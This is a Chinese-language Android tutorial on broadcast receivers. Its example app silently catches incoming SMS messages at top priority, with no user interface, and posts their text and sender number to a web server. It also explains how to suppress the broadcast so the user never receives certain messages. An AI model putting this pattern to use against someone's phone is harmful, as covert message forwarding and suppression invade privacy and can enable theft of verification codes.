Android 採用廣播接收者實現簡訊應用
廣播接收者--BroadcastReceiver(實現簡訊應用)
原理:當系統收到簡訊時,會發出一個廣播Intent,Intent的action名稱為Android.provider.Telephony.SMS_RECEIVED,該Intent存放了系統收到的簡訊內容,我們使用名稱“pdus”即可從Intent中獲取到簡訊內容。
廣播接收者--BroadcastReceiver
廣播接收者(BroadcastReceiver)用於廣播接收Intent,廣播Intent的傳送是通過呼叫Context,sendBroadcast()、Context.sendOrderedBroadcast()來實現的。通常一個廣播Intent可以被訂閱了此Intent的多個廣播接收者所接收,這個特性跟JMS中的Topic訊息接收者類似。要實現一個廣播接收者方法如下:
第一步:繼承BroadcastReceiver,並重寫onReceive()方法。
public class IncomingSMSReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context,Intent intent) {
}
}
第二步:訂閱感興趣的廣播Intent,訂閱方法有兩種:
第一種:使用程式碼進行訂閱
IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiver receiver = new IncomingSMSReceiver();
registerReceiver(receiver,filter);
第二種:在AndroidManifest.xml檔案中的<application>節點裡進行訂閱:
<receiver android:name=".IncomingSMSReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
web端(只需一個servlet):
public class ReceiveSMSServlet extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
}
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String content = request.getParameter("content");
String receivetime = request.getParameter("receivetime");
String senderNumber = request.getParameter("senderNumber");
System.out.println("簡訊內容: "+content);
System.out.println("接收時間: "+receivetime);
System.out.println("傳送者號碼: "+senderNumber);
}
}
Android端:(不需要Activity,只需一個類):
public class SMSBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context arg0, Intent intent) {
// TODO Auto-generated method stub
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
for(Object p:pdus) {
byte[] pdu = (byte[]) p;
SmsMessage message= SmsMessage.createFromPdu(pdu);
/*取得簡訊內容*/
String content = message.getMessageBody();
/*取得簡訊接收的時間*/
Date date = new Date(message.getTimestampMillis());
/*將Date型別的時間轉換為字元格式,並指定時間格式為2010-9-10 12:33*/
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
/*將日期格式化*/
String receivetime = format.format(date);
/*取得簡訊*/
String senderNumber = message.getOriginatingAddress();
sendSMS(content,receivetime,senderNumber);//呼叫此方法將簡訊資料傳送給WEB應用
//jia將此號碼加入不想要的名單
/*if("15555215556".equals(senderNumber)) {
abortBroadcast();//終止廣播*/
}
}
}
private boolean sendSMS(String content, String receivetime, String senderNumber) {
// TODO Auto-generated method stub
String path = "http://192.168.0.13:8080/ReceiveSMSData/ReceiveSMSServlet";
try {
String params = "content="+URLEncoder.encode(content, "UTF-8")+"&receivetime="+
receivetime+"&senderNumber="+senderNumber;
byte[] enity = params.getBytes();
URL url = new URL(path);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setConnectTimeout(5000);
conn.setRequestMethod("POST");
conn.setDoOutput(true);
/*設定頭欄位*/
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
conn.setRequestProperty("Content-Length", String.valueOf(enity.length));
conn.getOutputStream().write(enity);
if(conn.getResponseCode()==200) {
return true;
}
} catch (Exception ex) {
// TODO Auto-generated catch block
ex.printStackTrace();
}
return false;
}
}
AndroidManifest.xml
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.smslistener"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="18" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收簡訊許可權 -->
<uses-permission android:name="android.permission.INTERNET"/><!-- 訪問網路許可權 -->
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<receiver android:name=".SMSBroadcastReceiver">
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
</manifest>
廣播被分為兩種不同的型別:“普通廣播”和”有序廣播“。普通廣播完全是非同步的,可以在同一時刻(邏輯上)被所有接收者接收到,相對有序廣播訊息傳遞的效率比較高,但缺點是:接受者不能將處理結果傳遞給下一個接收者,並且無法終止廣播(Intent)的廣播;然而有序廣播是按照接收者宣告的優先級別,被接受者依次接受廣播。優先級別在<intent-filter>的android:priority屬性中宣告,數值越大優先級別越高,取值範圍:-1000到1000,優先級別也可以用IntentFilter物件的setPriority()進行設定。有序廣播的接收者可以終止廣播Intent的傳播,廣播Intent的傳播一旦終止,後面的接收者就無法接收到廣播。另外,有序廣播的接收者可以將資料傳遞給下一個接收者。
Context.sentBroadcast()
傳送的是普通廣播,所有訂閱者都有機會獲得並進行處理。
Context.sentOrderedBroadcast()
傳送的是有序廣播,系統會根據接收者宣告的優先級別按順序逐個執行接收者,前面的接受者有權終止廣播(BroadcastReceiver.abortBroadcast),如果廣播被前面的接收者終止,後面的接收著就再也無法獲取到廣播。對於有序廣播,前面的接收者可以將資料通過setResultExtras(Bundle)方法存放進結果物件,然後傳遞給下一個接收者,下一個接收者通過程式碼:
Bundle bundle = getResultExtras(true)可以獲取上一個接收者存入在結果物件中的資料。
系統收到簡訊,發出的廣播是有序廣播。如果想阻止使用者收到簡訊,可以通過設定優先順序,讓你們自定義的接收者先獲取到廣播,然後終止廣播,這樣使用者就收不到簡訊了。